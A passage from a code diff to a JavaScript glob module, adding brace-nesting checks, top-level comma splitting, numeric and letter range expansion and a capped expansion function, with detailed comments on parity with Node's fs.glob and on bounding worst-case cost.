+ * when every `[` after the last `]` is skipped (it cannot open a class:
2181
+ * no `]` follows it).
2182
+ * - {@link bracketExprEnd}, not {@link parseBracketExpr}: the skip needs
2183
+ * only where a class ends, and building each class's source cost ~6x on
2184
+ * a run of closed classes (`[x]` x663 behind `{1..999}`: 34ms -> 6ms).
2185
+ * Measured, 999 expansions of each worst family: 3-6ms on the dev Mac; 6-16x
2186
+ * that under V8 block coverage (c8), which instruments this per-character
2187
+ * loop — which is why its tests compare against a control, not a clock.
2188
+ */
2189
+ function hostBraceNestingDepth(s) {
2190
+ const lastClose = s.lastIndexOf(']')
2191
+ const n = s.length
2192
+ let depth = 0
2193
+ let max = 0
2194
+ let j = 0
2195
+ while (j < n) {
2196
+ const c = s.charCodeAt(j)
2197
+ if (c === 0x7b) { // {
2198
+ if (++depth > max) max = depth
2199
+ } else if (c === 0x7d) { // }
2200
+ if (depth > 0) depth--
2201
+ } else if (c === 0x5b && j < lastClose) { // [
2202
+ const end = bracketExprEnd(s, j)
2203
+ if (end !== -1) { j = end; continue }
2204
+ }
2205
+ j++
2206
+ }
2207
+ return max
2208
+ }
2209
+
2210
+ /**
2211
+ * True when some `/`-segment of `pattern` — what `compileCaseCheck` hands to
2212
+ * {@link parseSegmentTokens} — nests braces deeper than
2213
+ * `GLOB_PATTERN_MAX_BRACE_DEPTH` as this host pairs them. ({@link expandBraces}
2214
+ * also recurses per nesting level, over the whole pattern, but it recurses
2215
+ * only on EXPANDING groups, one small frame each, and on origin/main it was
2216
+ * already bracket-aware; the parser and matcher are the deep frames.)
2217
+ */
2218
+ function hostBraceDepthExceeded(pattern) {
2219
+ for (const seg of pattern.split('/')) {
2220
+ if (hostBraceNestingDepth(seg) > GLOB_PATTERN_MAX_BRACE_DEPTH) return true
2221
+ }
2222
+ return false
2223
+ }
2224
+
2225
+ /**
2226
+ * Split a `{a,b,c}` body on top-level commas (commas inside nested `{}` don't
2227
+ * count). Two DIFFERENT bracket-awarenesses on purpose, matching
2228
+ * {@link braceCloseTable}/{@link expandBraces}'s own pass-1 exactly:
2229
+ * - bracket-AWARE for nested-`{`/`}` DEPTH — a `{` or `}` inside a `[...]`
2230
+ * class is a class member, never nested-brace syntax, so it must not
2231
+ * perturb `depth` (an embedded `}`, e.g. the one inside `[}]`, would
2232
+ * otherwise look like it closes a nested group that was never opened).
2233
+ * - bracket-OBLIVIOUS for COMMAS — a comma inside a `[...]` class still
2234
+ * splits, matching `fs.glob`'s own measured behavior exactly (`{a[,]b,c}`
2235
+ * against real files named `a[`, `]b`, `c` matches all three; `{p[,q]r,s}`
2236
+ * similarly splits 3 ways, not the 2 a bracket-aware split would give).
2237
+ * So a bracket span is scanned character-by-character for a comma (never
2238
+ * jumped over outright) while still being skipped for depth purposes.
2239
+ */
2240
+ function splitTopLevelCommas(s) {
2241
+ const parts = []
2242
+ let depth = 0
2243
+ let start = 0
2244
+ let i = 0
2245
+ while (i < s.length) {
2246
+ if (s[i] === '[') {
2247
+ const parsed = parseBracketExpr(s, i)
2248
+ if (parsed) {
2249
+ for (let k = i; k < parsed.next; k++) {
2250
+ if (s[k] === ',' && depth === 0) {
2251
+ parts.push(s.slice(start, k))
2252
+ start = k + 1
2253
+ }
2254
+ }
2255
+ i = parsed.next
2256
+ continue
2257
+ }
2258
+ }
2259
+ if (s[i] === '{') depth++
2260
+ else if (s[i] === '}') depth--
2261
+ else if (s[i] === ',' && depth === 0) {
2262
+ parts.push(s.slice(start, i))
2263
+ start = i + 1
2264
+ }
2265
+ i++
2266
+ }
2267
+ parts.push(s.slice(start))
2268
+ return parts
2269
+ }
2270
+
2271
+ /**
2272
+ * #7918 — cheap pre-check: does `pattern` contain a `/` character inside ANY
2273
+ * `{...}` group, at any nesting depth? When it does not, whole-pattern brace
2274
+ * expansion has nothing to offer over the existing per-segment `alt`-token
2275
+ * compiler — which is the common case (`*.{ts,js}`, `{a,b,c}/**`) and already
2276
+ * handles it in ONE walk with batched O(N) cost per option (see
2277
+ * `advanceToken`'s `alt` doc), a walk the general expand-then-union path below
2278
+ * cannot match: expanding an ordinary NON-spanning brace into separate
2279
+ * top-to-bottom tree walks would turn an ordinary chained-braces pattern into
2280
+ * a combinatorial fan-out of full walks, for a capability it never needed.
2281
+ * This gate keeps every such pattern on the fast, existing, already-tested
2282
+ * path — {@link expandBraces} only runs when this returns `true`.
2283
+ */
2284
+ function hasSlashSpanningBrace(pattern) {
2285
+ let i = 0
2286
+ let braceDepth = 0
2287
+ while (i < pattern.length) {
2288
+ const c = pattern[i]
2289
+ if (c === '[') {
2290
+ const parsed = parseBracketExpr(pattern, i)
2291
+ if (parsed) { i = parsed.next; continue }
2292
+ }
2293
+ if (c === '{') braceDepth++
2294
+ else if (c === '}') { if (braceDepth > 0) braceDepth-- }
2295
+ else if (c === '/' && braceDepth > 0) return true
2296
+ i++
2297
+ }
2298
+ return false
2299
+ }
2300
+
2301
+ /**
2302
+ * #7918 — BOUND on the whole-pattern brace expansion {@link hasSlashSpanningBrace}
2303
+ * gates: the pattern's own length and brace-nesting-depth caps
2304
+ * (`globPatternComplexityReason`, 2,000 chars / 32 levels) do not, by
2305
+ * themselves, bound the number of alternative STRINGS a chain of sibling
2306
+ * brace groups can expand to (`{a,b}{c,d}{e,f}...` — each additional group
2307
+ * multiplies the count, so a ~30-group chain well within the length cap
2308
+ * would already exceed a million). {@link expandBraces} computes the exact
2309
+ * expansion count FIRST, in one linear pass that saturates at
2310
+ * `GLOB_BRACE_EXPANSION_CAP + 1`, and refuses (returns `null`) before a single
2311
+ * alternative string is built when the count is over — never a partial
2312
+ * expansion, never a silent truncation.
2313
+ */
2314
+ const GLOB_BRACE_EXPANSION_CAP = 1000
2315
+
2316
+ /**
2317
+ * #7951 — matches a `{X..Y}` / `{X..Y..S}` "sequence expression" group body
2318
+ * (the text strictly between `{` and its matching `}`) the same shape
2319
+ * `fs.glob` recognizes — verified directly: `{1..3}` → 1,2,3; `{01..03}` →
2320
+ * zero-padded; `{a..c}` → a,b,c; `{3..1}`/`{c..a}` → descending; `{1..10..2}`
2321
+ * → stepped. `$`-anchored on both alternatives: a stray extra character,
2322
+ * including a comma, fails both and falls through to ordinary comma-group /
2323
+ * literal handling — a range and a comma-alternation are mutually exclusive
2324
+ * by construction, never a precedence question.
2325
+ *
2326
+ * Two shapes only: an optionally-signed decimal integer on both sides
2327
+ * (optionally-signed decimal step), or a single ASCII letter on both sides
2328
+ * (same optional step). A NON-letter, non-digit single-character endpoint
2329
+ * (`{^..a}`) is deliberately NOT recognized as a range here — a narrower
2330
+ * scope than a hypothetical arbitrary-code-point walk, chosen because no
2331
+ * real Glob call needs a punctuation-to-punctuation range. `fs.glob`'s own
2332
+ * `brace-expansion` uses these same two regexes (read from Node 22's bundled
2333
+ * copy), so `{[..]}` is not a range there either: both leave it literal and
2334
+ * hand `[..]` to the class parser.
2335
+ */
2336
+ const GLOB_BRACE_RANGE_RE = /^(-?\d+)\.\.(-?\d+)(?:\.\.(-?\d+))?$|^([A-Za-z])\.\.([A-Za-z])(?:\.\.(-?\d+))?$/
2337
+
2338
+ /**
2339
+ * Parse a range GROUP BODY against {@link GLOB_BRACE_RANGE_RE}. Returns
2340
+ * `null` when the body does not match, OR when it matches but the step is
2341
+ * zero (`{1..10..0}`) — which `fs.glob` itself does not fail gracefully for
2342
+ * (measured directly: it THROWS `RangeError: Invalid array length`,
2343
+ * synchronously, from inside its own iterator, not a "no matches" result).
2344
+ * Refusing to treat a zero step as a range at all — falling back to ordinary
2345
+ * literal `{...}` handling, the same as any other non-range body — is a
2346
+ * deliberate divergence: this module never throws synchronously out of
2347
+ * pattern compilation for attacker-controlled input. The permanent parity
2348
+ * harness (byok-glob-fs-glob-parity.test.js) deliberately excludes a
2349
+ * zero-step pattern from its oracle-based table for the same reason ITS
2350
+ * oracle call would crash outright — see that file's comment on the `range/`
2351
+ * pattern block; byok-tool-executor.test.js's "range expansion (#7951)"
2352
+ * describe block pins the fail-closed behavior directly instead.
2353
+ *
2354
+ * Returns `{ count, nth(k) }` on success. `count` is computed ARITHMETICALLY
2355
+ * — no iteration, so it stays cheap for a range far too large to ever
2356
+ * materialize (`{1..999999999999}`) — and `nth(k)` (0-indexed) lazily
2357
+ * formats the k-th member. `nth` is only ever called by {@link expandBraces}'s
2358
+ * `build` pass, itself only reached once the WHOLE pattern's total expansion
2359
+ * count has already been proven `<= GLOB_BRACE_EXPANSION_CAP` — the same
2360
+ * count-before-materialize discipline #7945 established for comma groups.
2361
+ * A count of exactly 1 (`{5..5}`, `{1..3..5}`) is still an expansion: the
2362
+ * braces and the `..` are replaced by the one member.
2363
+ *
2364
+ * EXACT INTEGERS (#7951 review) — a numeric range is computed in BigInt, not
2365
+ * Number. `\d+` has no length limit, and in float arithmetic two equal
2366
+ * 400-digit endpoints are both `Infinity`, so `end - start` is `NaN` and the
2367
+ * count was `NaN`: every `>= cap` comparison false, and the group silently
2368
+ * expanded to NOTHING (a "No matches" for a pattern that names a real file).
2369
+ * Past 2^53 a float also rounds (`9007199254740993` → `...992`) and prints
2370
+ * in exponent form (`1e+21`). BigInt keeps every endpoint, step, count and
2371
+ * member exact at any length, for ~0.04ms at 2,000 digits. `fs.glob` itself
2372
+ * uses float arithmetic and THROWS `RangeError: Invalid array length` on
2373
+ * these shapes (its loop stops advancing once `i + step === i`), so there is
2374
+ * no oracle answer to match; the exact expansion is the one bash gives.
2375
+ *
2376
+ * PADDING (verified directly against `fs.glob`, and read from its bundled
2377
+ * `brace-expansion`: `pad = n.some(isPadded)` over ALL THREE parts, width
2378
+ * from the two endpoints only): when any of start, end or step has a leading
2379
+ * zero after its optional sign (`/^-?0\d/` — a lone `"0"` does not count, it
2380
+ * has no second digit to pad), every generated member is zero-padded so its
2381
+ * own printed length (sign included) equals the WIDER of the two endpoints'
2382
+ * own printed lengths: `{001..10}` and `{1..010}` both produce
2383
+ * `001, 002, ... 010` (width 3, from whichever side is wider),
2384
+ * `{1..10..01}` produces `01, 02, ... 10` (the padded STEP turns padding on;
2385
+ * width 2 comes from `10`), and `{-01..1}` produces `-01, 000, 001` (width 3
2386
+ * — the `-` counts toward the width, so a positive member gets one more zero
2387
+ * than the padded positive endpoint's own digit count).
2388
+ *
2389
+ * LETTER RANGES: both endpoints must independently be a single ASCII letter
2390
+ * — mixed case is legal (verified: `{a..C}` and `{Z..a}` both expand). The
2391
+ * walk is a raw UTF-16 code-unit step between the two endpoints inclusive,
2392
+ * matching `fs.glob`'s own observed behavior even when it steps through
2393
+ * non-letter code points in between a mixed-case pair (`{Z..a}` yields
2394
+ * `Z [ ] ^ _ ` a` plus one EMPTY member): the backslash code point becomes
2395
+ * an empty string, exactly as `brace-expansion` does (`if (c === '\\') c = ''`
2396
+ * — verified: `x{Z..a}y` matches a real `xy` and never a real `x\y`). A range
2397
+ * member can therefore be empty, so `.{Z..a}.` produces a `..` text segment;
2398
+ * that is harmless here because {@link walkGlob} only ever descends into
2399
+ * entries `opendir` returns, and `opendir` never returns `.` or `..`.
2400
+ */
2401
+ function parseRangeGroup(body) {
2402
+ const m = GLOB_BRACE_RANGE_RE.exec(body)
2403
+ if (!m) return null
2404
+ if (m[1] !== undefined) {
2405
+ const startRaw = m[1]
2406
+ const endRaw = m[2]
2407
+ const stepRaw = m[3]
2408
+ const start = BigInt(startRaw)
2409
+ const end = BigInt(endRaw)
2410
+ const signedStep = stepRaw === undefined ? 1n : BigInt(stepRaw)
2411
+ const step = signedStep < 0n ? -signedStep : signedStep
2412
+ if (step === 0n) return null // refuse, never divide by zero — see the doc above
2413
+ const padded = [startRaw, endRaw, stepRaw].some((s) => s !== undefined && /^-?0\d/.test(s))
2414
+ const width = padded ? Math.max(startRaw.length, endRaw.length) : 0
2415
+ const dir = end >= start ? 1n : -1n
2416
+ const span = end >= start ? end - start : start - end
2417
+ // Exact as a BigInt; as a Number it is exact up to 2^53 and only ever
2418
+ // compared against the cap beyond that (never NaN — at worst Infinity).
2419
+ const count = Number(span / step + 1n)
2420
+ return {
2421
+ count,
2422
+ nth(k) {
2423
+ const val = start + dir * step * BigInt(k)
2424
+ const sign = val < 0n ? '-' : ''
2425
+ const digits = (val < 0n ? -val : val).toString()
2426
+ return sign + (padded ? digits.padStart(Math.max(0, width - sign.length), '0') : digits)
2427
+ },
2428
+ }
2429
+ }
2430
+ const startCh = m[4]
2431
+ const endCh = m[5]
2432
+ const stepRaw = m[6]
2433
+ const rawStep = stepRaw === undefined ? 1 : Math.abs(Number(stepRaw))
2434
+ if (!(rawStep > 0)) return null
2435
+ // Two letters are at most 57 code units apart ('A'..'z'), so any step past
2436
+ // that yields the start alone. Clamping keeps `step * k` finite: a 400-digit
2437
+ // step is `Infinity` as a Number, and `Infinity * 0` is NaN, which made
2438
+ // `nth(0)` a NUL character instead of the start letter (#7951 review).
2439
+ const step = Math.min(rawStep, 64)
2440
+ const startCode = startCh.charCodeAt(0)
2441
+ const endCode = endCh.charCodeAt(0)
2442
+ const dir = endCode >= startCode ? 1 : -1
2443
+ const count = Math.floor(Math.abs(endCode - startCode) / step) + 1
2444
+ return {
2445
+ count,
2446
+ nth(k) {
2447
+ const ch = String.fromCharCode(startCode + dir * step * k)
2448
+ return ch === '\\' ? '' : ch
2449
+ },
2450
+ }
2451
+ }
2452
+
2453
+ /**
2454
+ * #7951 — cheap pre-check, the same shape as {@link hasSlashSpanningBrace}:
2455
+ * does `pattern` contain a brace GROUP (bracket-expression-aware, matching
2456
+ * {@link expandBraces}'s own group-boundary scan) whose body is shaped like a
2457
+ * `{X..Y}` / `{X..Y..S}` range? A range has no representation in the
2458
+ * per-segment `alt`-token compiler (`parseSegmentTokens` never expands
2459
+ * `..`), so — like a slash-spanning brace — it needs the whole-pattern
2460
+ * expand-then-union path {@link expandBraces} provides. This tests only the
2461
+ * SHAPE via {@link GLOB_BRACE_RANGE_RE}; a shape {@link parseRangeGroup}
2462
+ * later refuses for its own reasons (a zero step) is still routed to
2463
+ * `expandBraces` and simply falls back to literal `{...}` text there — a
2464
+ * wasted gate trigger, never a correctness gap.
2465
+ *
2466
+ * The bracket skip below (#7951 review) makes the gate's notion of a group
2467
+ * EXACTLY `expandBraces`'s: `x[{1..3}]` is a bracket expression, not a range,
2468
+ * to both. Without the skip the gate would be a strict superset (it would
2469
+ * fire on `x[{1..3}]`, and `expandBraces` would hand the pattern back
2470
+ * unchanged), so the skip changes cost, not results — which is why it is
2471
+ * pinned by a direct call to this function and cannot be pinned through Glob.
2472
+ */
2473
+ function hasRangeBrace(pattern) {
2474
+ let i = 0
2475
+ const starts = []
2476
+ while (i < pattern.length) {
2477
+ const c = pattern[i]
2478
+ if (c === '[') {
2479
+ const parsed = parseBracketExpr(pattern, i)
2480
+ if (parsed) { i = parsed.next; continue }
2481
+ }
2482
+ if (c === '{') {
2483
+ starts.push(i + 1)
2484
+ } else if (c === '}') {
2485
+ if (starts.length > 0) {
2486
+ const start = starts.pop()
2487
+ if (GLOB_BRACE_RANGE_RE.test(pattern.slice(start, i))) return true
2488
+ }
2489
+ }
2490
+ i++
2491
+ }
2492
+ return false
2493
+ }
2494
+
2495
+ /**
2496
+ * #7918 — expand every brace GROUP in the raw `pattern`, globally (before any
2497
+ * `/`-split), into its alternative combinations. `compileCaseCheck` splits on
2498
+ * `/` before parsing braces at all, so `{a,b/c}` (a brace alternative whose
2499
+ * OPTIONS themselves contain `/`) has no representation in the compiled
2500
+ * per-segment matcher — a real capability loss versus pre-#7910 `main`, which
2501
+ * called `fs.glob` directly and got its native, slash-spanning brace expansion
2502
+ * for free. Each returned string is compiled and walked independently by
2503
+ * {@link runGlob}, results unioned.
2504
+ *
2505
+ * WHAT IS A GROUP: a `{` paired with its `}` by one left-to-right scan that
2506
+ * skips bracket expressions exactly as {@link parseBracketExpr} delimits them
2507
+ * for the PAIRING itself (a `{` or `}` inside `[...]` is a class member, not
2508
+ * brace syntax — the same rule as the per-segment {@link braceCloseTable}, so
2509
+ * the two paths agree on where a group ends; `fs.glob`'s brace expansion is
2510
+ * bracket-oblivious and agrees only on some shapes — see that function's doc
2511
+ * and the parity harness's #7951 known-difference bucket). Its alternatives
2512
+ * are either:
2513
+ * - the top-level-comma-separated pieces of the body, each expanded
2514
+ * recursively — #7951: comma-splitting is deliberately bracket-OBLIVIOUS
2515
+ * (the opposite awareness from pairing), matching `fs.glob`'s own
2516
+ * measured behavior exactly (`{a[,]b,c}` against real files named `a[`,
2517
+ * `]b`, `c` matches all three — a bracket-aware split would only ever
2518
+ * see 2 alternatives, not 3); or
2519
+ * - the members of a `{X..Y}` / `{X..Y..S}` range (#7951, when the body has
2520
+ * no top-level comma and matches {@link GLOB_BRACE_RANGE_RE} — see
2521
+ * {@link parseRangeGroup}).
2522
+ * Sibling groups multiply. An unmatched `{` is a literal. A matched `{...}`
2523
+ * with neither a top-level comma nor a valid range body (`{x}`,
2524
+ * `{nested/dup}`) is NOT expanded here — its braces stay in the output
2525
+ * verbatim (anything expandable nested inside it still expands) — which is
2526
+ * `fs.glob`'s own rule (its brace expansion leaves `{nested/dup}` alone, so
2527
+ * it names a literal `{nested`/`dup}` path) and exactly what pre-#7918 code
2528
+ * did with such a pattern: the per-segment compiler still sees the same text
2529
+ * it always saw (see that compiler's own #7951 fix for the same rule).
2530
+ *
2531
+ * COST (review of #7918, extended by #7951's range support) — this runs
2532
+ * synchronously on the daemon's event loop, where the walk's deadline race
2533
+ * cannot interrupt it, so it must be bounded by the pattern's LENGTH, not by
2534
+ * what the pattern expands to. The first implementation re-scanned every
2535
+ * candidate string from its start once per brace group, calling
2536
+ * `parseBracketExpr` (an O(n) scan to the next `]`) at every `[` it passed:
2537
+ * O(groups × strings × n²). Measured on a 1,998-char pattern well inside
2538
+ * every existing cap (a run of unclosed `[`, eight two-way groups plus one
2539
+ * slash-spanning one, then ~330 one-option `{q}` groups), that was 292
2540
+ * SECONDS of blocked event loop — every session, every WebSocket client, the
2541
+ * tunnel health checks, frozen. Now: one O(n) pass pairs braces and records
2542
+ * each group's top-level commas (a bracket expression's end is an O(1)
2543
+ * lookup in a precomputed next-`]` table instead of a scan), one O(n) pass
2544
+ * computes the exact count — for a range group this is one O(1) arithmetic
2545
+ * division, NEVER a loop over the range's own members, so `{1..100000}` and
2546
+ * `{a..z}{a..z}{a..z}` cost the same handful of operations as `{1..2}` — and
2547
+ * that pass saturates at `GLOB_BRACE_EXPANSION_CAP + 1` no matter how the
2548
+ * cap is approached (comma multiplication or range arithmetic), and only an
2549
+ * under-cap pattern is materialized, at O(count × n) — at most 1,000 strings
2550
+ * of at most 2,000 characters.
2551
+ *
2552
+ * @param {string} pattern
2553
+ * @returns {string[]|null} The expanded patterns (`[pattern]` when nothing
2554
+ * expands), or `null` when there would be more than
2555
+ * {@link GLOB_BRACE_EXPANSION_CAP}.
2556
+ */
2557
+ function expandBraces(pattern) {
2558
+ const n = pattern.length
2559
+ // nextClose[j] — index of the first ']' at or after j, or -1.
2560
+ const nextClose = new Int32Array(n + 1)
2561
+ nextClose[n] = -1
2562
+ for (let j = n - 1; j >= 0; j--) nextClose[j] = pattern[j] === ']' ? j : nextClose[j + 1]
2563
+ // Exactly `parseBracketExpr(pattern, i)?.next ?? -1`, in O(1): same
2564
+ // optional `!`/`^`, same leading-`]`-is-a-member rule, same "no closing
2565
+ // `]`" and "empty body" nulls.
2566
+ const bracketEnd = (i) => {
2567
+ let j = i + 1
2568
+ if (pattern[j] === '!' || pattern[j] === '^') j++
2569
+ const start = j
2570
+ if (pattern[j] === ']') j++
2571
+ if (j >= n) return -1
2572
+ const close = nextClose[j]
2573
+ return close === -1 || close === start ? -1 : close + 1
2574
+ }
2575
+
2576
+ // Pass 1 — pair every '{' with its '}' (BRACKET-AWARE: a `[...]` span is
2577
+ // skipped so any `{`/`}` inside it never affects pairing/depth — #7951)
2578
+ // and record each group's top-level commas (BRACKET-OBLIVIOUS: a comma
2579
+ // inside a `[...]` span still counts, matching `fs.glob` — #7951, see
2580
+ // `expandBraces`'s own doc above). The two awarenesses are opposite on
2581
+ // purpose, so a `[...]` span is scanned character-by-character for a `,`
2582
+ // instead of being jumped over outright, even though it IS still jumped
2583
+ // over for the purpose of `{`/`}` structural matching.
2584
+ const closeOf = new Int32Array(n).fill(-1)
2585
+ const commasOf = new Map()
2586
+ const stack = []
2587
+ for (let i = 0; i < n;) {
2588
+ const c = pattern[i]
2589
+ if (c === '[') {
2590
+ const end = bracketEnd(i)
2591
+ if (end !== -1) {
2592
+ if (stack.length > 0) {
2593
+ const top = stack[stack.length - 1]
2594
+ for (let k = i; k < end; k++) {
2595
+ if (pattern[k] === ',') commasOf.get(top).push(k)
2596
+ }
2597
+ }
2598
+ i = end
2599
+ continue
2600
+ }
2601
+ }
2602
+ if (c === '{') {
2603
+ stack.push(i)
2604
+ commasOf.set(i, [])
2605
+ } else if (c === '}') {
2606
+ if (stack.length > 0) closeOf[stack.pop()] = i
2607
+ } else if (c === ',' && stack.length > 0) {
2608
+ commasOf.get(stack[stack.length - 1]).push(i)
2609
+ }
2610
+ i++
2611
+ }
2612
+ // #7951 — a group with no top-level comma may still be a RANGE
2613
+ // (`parseRangeGroup`, cached per group index since both `count` and
2614
+ // `build` need it). `groupKind` is the single source of truth for whether
2615
+ // a group expands at all, and how.
2616
+ const rangeOf = new Map()
2617
+ function groupKind(i) {
2618
+ if (commasOf.get(i).length > 0) return 'comma'
2619
+ if (!rangeOf.has(i)) rangeOf.set(i, parseRangeGroup(pattern.slice(i + 1, closeOf[i])))
2620
+ return rangeOf.get(i) ? 'range' : null
2621
+ }
2622
+ const expands = (i) => pattern[i] === '{' && closeOf[i] !== -1 && groupKind(i) !== null
2623
+ function alternatives(i) {
2624
+ const ranges = []
2625
+ let start = i + 1
2626
+ for (const comma of commasOf.get(i)) { ranges.push([start, comma]); start = comma + 1 }
2627
+ ranges.push([start, closeOf[i]])
2628
+ return ranges
2629
+ }
2630
+
2631
+ // Pass 2 — the exact count, saturating at CAP + 1. Every position is
2632
+ // visited by exactly one call (an expanding group hands each of its
2633
+ // alternatives to one recursive call and is then jumped over), so this is
2634
+ // O(n) no matter what the pattern expands to — a range group's own count
2635
+ // is one O(1) arithmetic division (`rangeOf.get(i).count`), never a loop
2636
+ // over its members.
2637
+ const OVER = GLOB_BRACE_EXPANSION_CAP + 1
2638
+ function count(lo, hi) {
2639
+ let total = 1
2640
+ for (let i = lo; i < hi;) {
2641
+ if (pattern[i] === '[') {
2642
+ const end = bracketEnd(i)
2643
+ if (end !== -1) { i = end; continue }
2644
+ }
2645
+ if (expands(i)) {
2646
+ let sum
2647
+ if (groupKind(i) === 'range') {
2648
+ sum = rangeOf.get(i).count
2649
+ if (sum >= OVER) return OVER
2650
+ } else {
2651
+ sum = 0
2652
+ for (const [s, e] of alternatives(i)) {
2653
+ sum += count(s, e)
2654
+ if (sum >= OVER) return OVER
2655
+ }
2656
+ }
2657
+ total *= sum
2658
+ if (total >= OVER) return OVER
2659
+ i = closeOf[i] + 1
2660
+ continue
2661
+ }
2662
+ i++
2663
+ }
2664
+ return total
2665
+ }
2666
+ const total = count(0, n)
2667
+ if (total >= OVER) return null
2668
+ // No `total === 1` short-circuit (#7951 review): a total of 1 no longer
2669
+ // means "nothing expands" — a one-member range (`{5..5}`, `{1..3..5}`)
2670
+ // still replaces its braces with that member. `build` returns exactly
2671
+ // `[pattern]` when no group expands, in the same O(n).
2672
+
2673
+ // Pass 3 — materialize (only reached with total <= CAP). A range group's
2674
+ // members are formatted lazily here, one `nth(k)` call per member — never
2675
+ // before this point, and never for a group whose count alone already
2676
+ // proved the whole pattern over cap.
2677
+ function build(lo, hi) {
2678
+ let outs = ['']
2679
+ let literalFrom = lo
2680
+ for (let i = lo; i < hi;) {
2681
+ if (pattern[i] === '[') {
2682
+ const end = bracketEnd(i)
2683
+ if (end !== -1) { i = end; continue }
2684
+ }
2685
+ if (expands(i)) {
2686
+ const literal = pattern.slice(literalFrom, i)
2687
+ let alts
2688
+ if (groupKind(i) === 'range') {
2689
+ const info = rangeOf.get(i)
2690
+ alts = []
2691
+ for (let k = 0; k < info.count; k++) alts.push(info.nth(k))
2692
+ } else {
2693
+ alts = []
2694
+ for (const [s, e] of alternatives(i)) for (const a of build(s, e)) alts.push(a)
2695
+ }
2696
+ const next = []
2697
+ for (const o of outs) for (const a of alts) next.push(o + literal + a)
2698
+ outs = next
2699
+ i = closeOf[i] + 1
2700
+ literalFrom = i
2701
+ continue
2702
+ }
2703
+ i++
2704
+ }
2705
+ const tail = pattern.slice(literalFrom, hi)
2706
+ return tail ? outs.map((o) => o + tail) : outs
2707
+ }
2708
+ return build(0, n)
2709
+ }
2710
+
2711
+ /**
2712
+ * Sentinel distinguishing a `**` (globstar) pattern segment from a compiled
2713
+ * per-segment RegExp in {@link compileCaseCheck}'s `matchers` array. A Symbol
2714
+ * rather than the string `'**'` so it can never collide with a RegExp value.
2715
+ */
2716
+ const CASE_CHECK_GLOBSTAR = Symbol('globstar')
2717
+
2718
+ /**
2719
+ * #7910 review — true when a {@link parseSegmentTokens} token array contains
2720
+ * no `star` (`*`) or `any` (`?`) token anywhere, including recursively inside
2721
+ * every alternative of an `alt` (`{a,b}`) token. `lit`, `class` (a bracket
2722
+ * expression — `[s]`, `[a-z]`) and `none` (an unparseable class, matches
2723
+ * nothing) all count as determinate on their own. Verified directly against
2724
+ * Node 22's `glob()` as the exact line it draws for two behaviors `walkGlob`
2725
+ * has to replicate (see its two call sites): following a symlinked directory,
2726
+ * and letting a trailing `**` close with zero width onto something that
2727
+ * isn't a directory. Both apply for a literal, bracket-class, or brace
2728
+ * segment naming the entry; neither applies when a bare `*`/`?` is what
2729
+ * matched it — a bracket class is syntactically a "wildcard" too, but Node's
2730
+ * own matcher treats it as determinate enough to follow/close on, same as a
2731
+ * literal.
2732
+ */
2733
+ function isDeterminateSegmentTokens(tokens) {
2734
+ return tokens.every((t) => {
2735
+ if (t.t === 'star' || t.t === 'any') return false
2736
+ if (t.t === 'alt') return t.options.every(isDeterminateSegmentTokens)
2737
+ return true // 'lit', 'class', 'none'
2738
+ })
2739
+ }
2740
+
2741
+ /**
2742
+ * COMPLEXITY BOUND (#7898 round 4) — the worst-case cost of the whole
2743
+ * segment matcher (`compileCaseCheck` + the per-name matching it drives,
2744
+ * everything below this comment), stated once here rather than re-derived
2745
+ * per round. Every prior round of this PR's review (1 through 3) found a NEW
2746
+ * super-linear blow-up in this code; this is the bound that is supposed to
2747
+ * end that pattern, by covering every construct the matcher accepts, not
2748
+ * just the one a given round happened to fuzz.
2749
+ *
2750
+ * #7901 — this bound covers BOTH callers of the matcher: `caseCheckPasses`
2751
+ * (a full path's real segments, known up front — still exercised directly by
2752
+ * this file's own test suite) and `walkGlob`'s own per-directory-entry use of
2753
+ * `segmentMatches`, which is the SAME per-segment token-array DP, just
2754
+ * invoked incrementally as the walk discovers each real name instead of
2755
+ * post-hoc over an already-known path. The cost accounting below is
2756
+ * unchanged either way — it was always per-segment-matched, not tied to
2757
+ * which function happens to call it.
2758
+ *
2759
+ * Notation:
2760
+ * P = `pattern.length` (the whole Glob pattern, all `/`-segments combined).
2761
+ * N = length of one real on-disk path SEGMENT name (a single filename or
2762
+ * directory name, not the whole path).
2763
+ * D = number of path segments in one candidate match (path depth).
2764
+ * M = number of real directory entries the matcher is invoked on for one
2765
+ * Glob call — bounded above by `globMaxEntriesVisited()` (2,000,000 default)
2766
+ * in `walkGlob`, or by `GLOB_COLLECT_CEILING` (50,000) for the matches
2767
+ * `caseCheckPasses` is called on directly.
2768
+ *
2769
+ * Split into a one-time PARSE and a per-match MATCH phase:
2770
+ *
2771
+ * PARSE — `compileCaseCheck`, called exactly once per Glob call, by `runGlob`
2772
+ * before the walk starts, splits on `/` and parses each segment via
2773
+ * `parseSegmentTokens`. For every construct
2774
+ * except nested braces, parsing a segment is O(segment length) — brackets,
2775
+ * chained (non-nested) `{...}` groups, and runs of `*`/`?` all consume their
2776
+ * own text once, so summed across all segments this is O(P). Chain-nested
2777
+ * braces (`{a,{b,{c,d}}}`, extended to depth d) are the exception:
2778
+ * brace pairing (then a per-`{` scan, since #7951 review one
2779
+ * {@link braceCloseTable} pass per parsed string) + `splitTopLevelCommas`
2780
+ * re-scan the shrinking remainder
2781
+ * at EVERY nesting level, so parse cost for one chain is O(d × average
2782
+ * remaining length) = O(d²) when d is left unbounded (measured: 0.16ms at
2783
+ * d=10, 301.88ms at d=4000/30,890 chars — quadratic scaling confirmed). Since
2784
+ * d ≤ P/2 for any nesting shape, this is O(P²) unbounded, which is why
2785
+ * `globPatternComplexityReason` (tool-transforms.js) now caps BOTH P (2,000
2786
+ * chars) and nesting depth (32 levels) before any of this runs — bounding
2787
+ * either alone would work; both are cheap and the depth cap also closes the
2788
+ * separate stack-overflow hazard below. Under that cap, PARSE is O(P)
2789
+ * (32 is a constant multiplier).
2790
+ *
2791
+ * MATCH — the per-segment `segmentMatches` DP, invoked once per real
2792
+ * directory entry (≤ M times), whether via `caseCheckPasses`'s own path-level
2793
+ * DP that aligns pattern segments (including any number of `**`, at any
2794
+ * position) against a match's D real segments — O(S × D), where S is the
2795
+ * pattern's segment count (S ≤ P) — or via `walkGlob`'s equivalent
2796
+ * incremental frontier update, one real segment at a time, which does the
2797
+ * same S-segments-of-work per entry without ever materializing a full D-long
2798
+ * real-segments array. Within one aligned non-`**` segment,
2799
+ * `segmentMatches` walks that segment's token tree: `*`/`?`/bracket-class
2800
+ * tokens are O(N) each; a `{a,b}` token is O(N) PER OPTION, batched over the
2801
+ * whole reachable-offset set rather than per-offset (the round-3 fix,
2802
+ * `65831e075`) — without that batching, an `alt` token costs O(N ×
2803
